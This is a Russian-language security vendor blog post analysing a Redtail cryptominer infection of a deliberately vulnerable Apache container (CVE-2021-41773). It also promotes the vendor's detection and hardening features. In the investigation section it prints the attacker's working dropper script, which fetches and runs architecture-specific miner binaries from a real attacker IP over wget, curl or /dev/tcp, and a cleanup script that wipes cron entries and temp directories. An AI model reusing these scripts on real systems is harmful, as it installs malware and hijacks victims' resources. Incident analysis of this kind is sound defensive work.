Случайный ханипот: как мы обнаружили криптомайнер в контейнере с помощью Luntry
13 мая 2025
Автор: Сергей Канибор
Что случилось
На одном из наших демо-стендов, расположенных в публичном облаке, мы заметили аномальную активность в одном из заведомо уязвимых приложений (для демонстраций). Расследуя этот инцидент, мы пришли к выводу, что столкнулись с криптомайнером Redtail. В статье мы покажем, как Luntry может помочь выявлять подобную вредоносную активность.
Это исследование продолжит нашу серию работ по разбору инцидентов с помощью Luntry, где мы уже успели рассмотреть xz-utils, ingress kong, CVE-2024−0132 и IngressNIghtmare. Заодно вы поймете, как Luntry может отлично выполнять функции автоматизированного мониторинга песочниц (sandbox) и систем обмана (deception system, honeypot).
Также стоит отдельно отметить, что в нашем случае мы четко понимали риски разворачивания уязвимого приложения в собственном кластере, а в общем случае это может быть уязвимость, которую вы не успели пропатчить (1day) или вообще неизвестная уязвимость (0day). Для таких случаев представленный разбор будет также актуален.
Расследование аномальной активности
У нас есть ряд уязвимых демо-приложений, на которых мы демонстрируем, как Luntry может помочь в той или иной ситуации. По некоторому стечению обстоятельств, у одного из таких приложений ресурс Service оказался выставлен в LoadBalancer режим, что открывало его для всего мира.

С этого и началась данная история.

Наше заранее заготовленное уязвимое приложение с CVE-2021-41773 в Apache HTTP Server 2.4.49, что позволяет атакующему читать произвольные файлы через path traversal и при использовании CGI scripts получить возможность удаленного выполнения произвольного кода (RCE).

Luntry обнаружил аномалию с типом abnormal binary – т.е. в контейнере запустился исполняемый файл, которого раньше не было в исходном образе и который загрузили уже во время работы контейнера. Такое аномальное событие с типом ABNORMAL_BINARY будет видно для SOC в SIEM следующим образом:

Чтобы воспроизвести последовательность действий атакующего, можно выставить нужные фильтры на странице Anomalies и посмотреть, какая аномалия была первой в цепочке:
Мы видим, что первым делом, после пробития RCE, был скачан файл через curl – sh.

http://107.150.0[.]103/sh

Содержимое представляет из себя следующий bash скрипт:
#!/bin/bash


dlr() {
  rm -rf $1
  wget http://107.150.0.103/$1 || curl -O http://107.150.0.103/$1
  if [ $? -ne 0 ]; then
    exec 3<>"/dev/tcp/107.150.0.103/80"
    echo -e "GET /$1 HTTP/1.0\r\nHost: 107.150.0.103\r\n\r\n" >&3
    (while read -r line; do [ "$line" = $'\r' ] && break; done && cat) <&3 >$1
    exec 3>&-
  fi
}


NOEXEC_DIRS=$(cat /proc/mounts | grep 'noexec' | awk '{print $2}')
EXCLUDE=""


for dir in $NOEXEC_DIRS; do
  EXCLUDE="${EXCLUDE} -not -path \"$dir\" -not -path \"$dir/*\""
done


FOLDERS=$(eval find / -type d -user $(whoami) -perm -u=rwx -not -path \"/tmp/*\" -not -path \"/proc/*\" $EXCLUDE 2>/dev/null)
ARCH=$(uname -mp)
OK=true


for i in $FOLDERS /tmp /var/tmp /dev/shm; do
  if cd "$i" && touch .testfile && (dd if=/dev/zero of=.testfile2 bs=2M count=1 >/dev/null 2>&1 || truncate -s 2M .testfile2 >/dev/null 2>&1); then
    rm -rf .testfile .testfile2
    break
  fi
done


dlr clean
chmod +x clean
sh clean >/dev/null 2>&1
rm -rf clean


rm -rf .redtail
if echo "$ARCH" | grep -q "x86_64" || echo "$ARCH" | grep -q "amd64"; then
  dlr x86_64
  mv x86_64 .redtail
elif echo "$ARCH" | grep -q "i[3456]86"; then
  dlr i686
  mv i686 .redtail
elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
  dlr aarch64
  mv aarch64 .redtail
elif echo "$ARCH" | grep -q "armv7"; then
  dlr arm7
  mv arm7 .redtail
else
  OK=false
  for a in x86_64 i686 aarch64 arm7; do
    dlr $a
    cat $a >.redtail
    chmod +x .redtail
    ./.redtail $1 >/dev/null 2>&1
    rm -rf $a
  done
fi


if [ $OK = true ]; then
  chmod +x .redtail
  ./.redtail $1 >/dev/null 2>&1
fi


Если вкратце, то этот скрипт:
  1. Ищет директории, в которые можно записать и из которых можно исполнять файлы
  2. Загружает и запускает вспомогательный скрипт clean
  3. В зависимости от архитектуры системы загружает соответствующий бинарник
  4. Запускает его
  5. Стирает следы
Теперь рассмотрим более подробно скрипт clean – http://107.150.0[.]103/clean
#!/bin/bash

clean_crontab() {
  chattr -ia "$1"
  grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1" >/tmp/clean_crontab
  mv /tmp/clean_crontab "$1"
}

systemctl disable c3pool_miner
systemctl stop c3pool_miner

chattr -ia /var/spool/cron/crontabs
for user_cron in /var/spool/cron/crontabs/*; do
  [ -f "$user_cron" ] && clean_crontab "$user_cron"
done


for system_cron in /etc/crontab /etc/crontabs; do
  [ -f "$system_cron" ] && clean_crontab "$system_cron"
done


for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.d; do
  chattr -ia "$dir"
  for system_cron in "$dir"/*; do
    [ -f "$system_cron" ] && clean_crontab "$system_cron"
  done
done

clean_crontab /etc/anacrontab

for i in /tmp /var/tmp /dev/shm; do
  rm -rf $i/*
done
Скрипт подчищает результаты деятельности других майнеров:
Отключает и останавливает майнер c3pool_miner.
  1. Очищает все задания cron, удаляя из них строки, содержащие потенциально опасные команды (например, wget, curl, nc, bash -i, base64 и т.д.).
  2. Снимает защиту (chattr -ia) с cron-файлов и директорий, чтобы можно было их редактировать.
  3. Очищает временные каталоги /tmp, /var/tmp и /dev/shm, где часто размещаются временные вредоносные файлы.
Теперь перейдем к самому майнеру.

http://107.150.0[.]103/x86_64
Внутри криптомайнера
Открыв исполняемый файл в IDA, мы ничего не увидим, так как он упакован UPX.
Упаковывать бинари через UPX – довольно популярная техника среди атакующих, и наличие такого упакованного бинаря уже может говорить о нелегитимных исполняемых файлах. Если в случае runtime решение Luntry обнаружило это бессигнатурным способом с помощью аномалии типа abnormal binary, то в случае если этот вредоносный код был бы встроен в исходный образ, наше решение обнаружило бы его во время сканирование образа в CI, Image Registry или в том же Runtime с помощью сканирования на вредоносный код и код двойного назначения, используя наши YARA правила или внешние IoC. Так, например, на образе, в котором присутствует бинарь redtail отрабатывает правило «Detect a suspicious ELF binary with UPX compression»:
Распакуем его и попробуем посмотреть ещё раз. Мы увидим большое количество функций. Выполнив поиск по Strings найдем упоминание майнера XMRig:
От расследования к защите
Поговорим о том, что можно было бы сделать, чтобы до такого сценария даже не довести.

Сетевая карта, которую строит Luntry, обладает широкими возможностями – например, указав в дополнительных фильтрах такое JQ правило – spec.type. == LoadBalancer, мы можем с легкостью найти все сервисы, которые опубликованы таким способом.
На сетевой карте все попавшие под эти условия микросервисы подсветятся зеленым.
В то же время на Network Map можно сразу увидеть и понять есть ли в namespace какие-нибудь NetworkPolicy (на скриншоте – красная иконка с цифрой 0 в верхнем правом углу namespace, означает отсутствие NetworkPolicy). Для namespace c названием demo, где развернуто уязвимое приложение, не было применено никаких сетевых политик, что позволило злоумышленникам сделать обращение из сети интернет, а затем и back-connect для скачивания необходимых файлов. Однако, этого можно было избежать, поскольку Luntry позволяет автоматически генерировать Network Policy (в трех форматах Native, Cilium и Calico), основываясь на сетевых взаимодействиях микросервиса:
В данном случае была сгенерирована шаблонная политика для изоляции микросевиса от всех микросервисов в других Namespace. Её будет удобно использовать, когда мы точно знаем и хотим, чтобы контейнеры общались между собой только в рамках текущего Namespace. Любые сетевые коннекты, как за пределы неймспейса, так и за пределы кластера – запрещены.

На самом деле в нашем случае всего этого можно было избежать куда проще – проконтролировав содержимое Kubernetes-ресурса Service, благодаря которому приложение и стало доступно извне. Для этого можно применить политику PolicyEngine для запрета использования типа LoadBalancer.
Luntry интегрируется с Kyverno и OPA Gatekeeper и позволяет работать с их любыми политиками. Вы можете писать как собственные, так и использовать политики из встроенной библиотеки политик, что очень удобно в закрытых контурах.

Далее, злоумышленники получили доступ в контейнер, проэксплуатировав CVE-2021-41773. И можно было бы своевременно это обнаружить и предотвратить при желании. Для этого в Luntry есть удобные механизмы и фильтры для приоритизации уязвимостей, чтобы в первую очередь концентрироваться на самом важном, опасном. Так можно в первую очередь работать с уязвимостями, которые:
  • Есть в образах, которые действительно используются в кластере
  • Относятся к категории RCE или DoS
  • Имеют в публичном доступе эксплоит
  • Имеют известные случаи в реальных инцидентах (CISA KEV)
  • Имеют высокое значение EPSS

Наш герой CVE-2021-41773 как раз под все это подходит:
Такая же функциональность доступна в Luntry для сканирования образов и в CI и в Registry.


После запуска майнер устанавливал ряд сетевых соединений. В Luntry, среди аномалий, мы увидим ряд сетевых, относящихся к исходящему соединению с miner pool.

Криптомайнер (abnormal binary – redtail) устанавливал несколько внешних соединений на порты 853, 2137 и 43782. Такое поведение можно обнаружить, используя Runtime Rules, добавив такое правило.

Оно срабатывает при сетевой аномалии на любой исходящий трафик на порт 43782.
Если говорить о проактивной защите, то тут на текущий момент на помощь может прийти AppArmor (чуть позже будет и на базе eBPF LSM, но об этом расскажем позже). Luntry умеет генерировать AppArmor профили, основываясь на модели поведения приложения. Таким образом, обучившись на легитимном поведении приложения, мы сможем использовать профиль, который будет запрещать всё то, что не описано в нём.
Пример профиля для нашего демо-приложения указан здесь.
Митигация подобных сценариев
1. Обновляйте ПО
Не забывайте про обновление программного обеспечения. Luntry помогает приоритизировать уязвимости в вашей инфраструктуре и упрощает данный процесс. Но помните, что всегда есть окно времени между тем, как выйдет патч и тем, когда он будет применен.

2. Используйте Network Policy
Эксплуатация уязвимости подразумевает сетевое взаимодействие с микросервисом. Однако, данное приложение, помимо того что вообще не должно было доступно извне, так и не должно было создавать исходящие соединения в сеть интернет.
Таким образом, уязвимость можно митигировать, применив Network Policy и ограничив взаимодействие с ним по сети. Это можно сделать с помощью Luntry, сгенерировав необходимую Network Policy в формате Native, Calico или Cilium, и прямо применив из интерфейса.

3. Контролируйте поведение приложений в контейнерах
Очень важно видеть, понимать и контролировать происходящие внутри контейнеров, чтобы обнаруживать атаки в процессе их осуществления. Luntry дает самый передовой способ для работы с runtime защитой — гибридный подход по детектированию и механизмы предотвращения. Это позволит командам SOC быть готовым к абсолютно любым ситуациям.

4. Используйте тонкие образы для микросервисов
Атакующему очень часто упрощает жизнь тот факт, что в контейнере, помимо самого уязвимого приложения, находится море всего, что позволяет ему развить атаку. Еще это называют LotL-атакой (атака Living off the Land) через те же GTFOBins. Так что для усложнения жизни атакующему рекомендуется не класть ничего лишнего в образы контейнеров. Luntry позволяет сканировать образы на вредоносный код и код двойного назначения, что позволяет своевременно исключить выкатку плохих образов и уменьшить поверхность атаки.

5. Контролируйте Kubernetes-ресурсы
В огромном количестве случаев инцидентов можно избежать вовсе, если проверять на соответствие внутренним политикам и лучшим практикам сами YAML ресурсы Kubernetes, что выкатываются в кластер. Luntry благодаря своим интеграциям тут дает безграничные возможности.

Выводы
Даже такая маленькая небрежность с Service может привести к печальным последствиям, тем более в сети интернет, которая постоянно автоматически анализируется сканерами, а атакующий не дремлет. И только комплексный подход к безопасности (defence in depth) способен вовремя это обнаружить, митигировать и даже предотвратить. К сожалению, нельзя обезопасить себя, сосредоточившись только на одном домене безопасности.

Оставьте запрос

и узнайте, как Luntry может помочь вам выстроить эшелонированную оборону вашей инфраструктуры


P.S.:
Спустя некоторое время мы вернулись к этому инстансу и решили проверить на нем активность. Мы намеренно не тушили этот контейнер, поэтому можем продолжить наблюдать за активностью злоумышленников, которые еще не раз «приходили» к нам.


Подпишитесь

и получайте подборку лучших постов блога в почту